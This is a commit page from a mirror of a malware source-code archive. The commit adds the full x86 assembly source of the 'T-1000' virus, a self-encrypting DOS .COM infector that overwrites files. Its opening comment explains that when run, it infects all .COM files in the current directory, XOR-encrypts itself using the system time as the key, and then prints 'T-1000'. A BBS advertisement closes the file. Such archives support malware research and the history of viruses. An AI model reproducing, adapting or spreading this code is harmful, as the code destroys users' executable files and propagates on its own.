mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,95 @@
|
||||
;
|
||||
; T-1000 Virus
|
||||
;
|
||||
; This virus is a Non-Resident Overwriting Self-Encrypting .COM File Inctector.
|
||||
; When an infected program is started, the virus will infect all files in the
|
||||
; current directory and use the time counter for its encryption. It displays
|
||||
; the text "T-1000" when it is ready infecting.
|
||||
|
||||
Code Segment para 'code'
|
||||
Assume Cs:Code,Ds:Code
|
||||
|
||||
Length Equ Offset EndByte-Offset Main
|
||||
|
||||
Org 100h
|
||||
|
||||
Main: Mov Si,Offset Decrypt
|
||||
Mov Di,Si
|
||||
Mov Cl,Offset EndByte-Offset Decrypt
|
||||
On2: Lodsb
|
||||
Db 34h
|
||||
Crypt Db 0
|
||||
Stosb
|
||||
Dec Cl
|
||||
Cmp Cl,0ffh
|
||||
Jne On2
|
||||
|
||||
Decrypt:
|
||||
Mov Ah,4eh
|
||||
Push Ax
|
||||
|
||||
Encr:
|
||||
Mov Ah,2ch
|
||||
Int 21h
|
||||
Mov Crypt,Dl
|
||||
Mov Si,Offset Decrypt
|
||||
Mov Di,Offset EndByte+10
|
||||
Mov Cx,Offset EndByte-Offset Decrypt
|
||||
On3: Lodsb
|
||||
Xor Al,Crypt
|
||||
Stosb
|
||||
Dec Cx
|
||||
Cmp Cx,0ffffh
|
||||
Jne On3
|
||||
|
||||
Pop Ax
|
||||
On1: Xor Cx,Cx
|
||||
Mov Dx,Offset Nam
|
||||
Int 21h
|
||||
Jc Einde
|
||||
|
||||
Mov Ax,3d01h
|
||||
Mov Dx,9eh
|
||||
Int 21h
|
||||
Mov Bx,Ax
|
||||
|
||||
Mov Ah,40h
|
||||
Push Ax
|
||||
Mov Cx,Offset Decrypt-Offset Main
|
||||
Mov Dx,Offset Main
|
||||
Int 21h
|
||||
|
||||
Pop Ax
|
||||
Mov Cx,Offset EndByte-Offset Decrypt
|
||||
Mov Dx,Offset EndByte+10
|
||||
Int 21h
|
||||
|
||||
Mov Ah,3eh
|
||||
Int 21h
|
||||
|
||||
Mov Ah,4fh
|
||||
Push Ax
|
||||
Jmp Short Encr
|
||||
|
||||
Einde:
|
||||
Mov Ah,9
|
||||
Mov Dx,Offset Msg
|
||||
Push Cs
|
||||
Pop Ds
|
||||
Int 21h
|
||||
Int 20h
|
||||
|
||||
Msg Db 'T-1000$'
|
||||
|
||||
Nam Db '*.Com',0
|
||||
|
||||
EndByte Db 0
|
||||
|
||||
Code Ends
|
||||
End Main
|
||||
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
Reference in New Issue
Block a user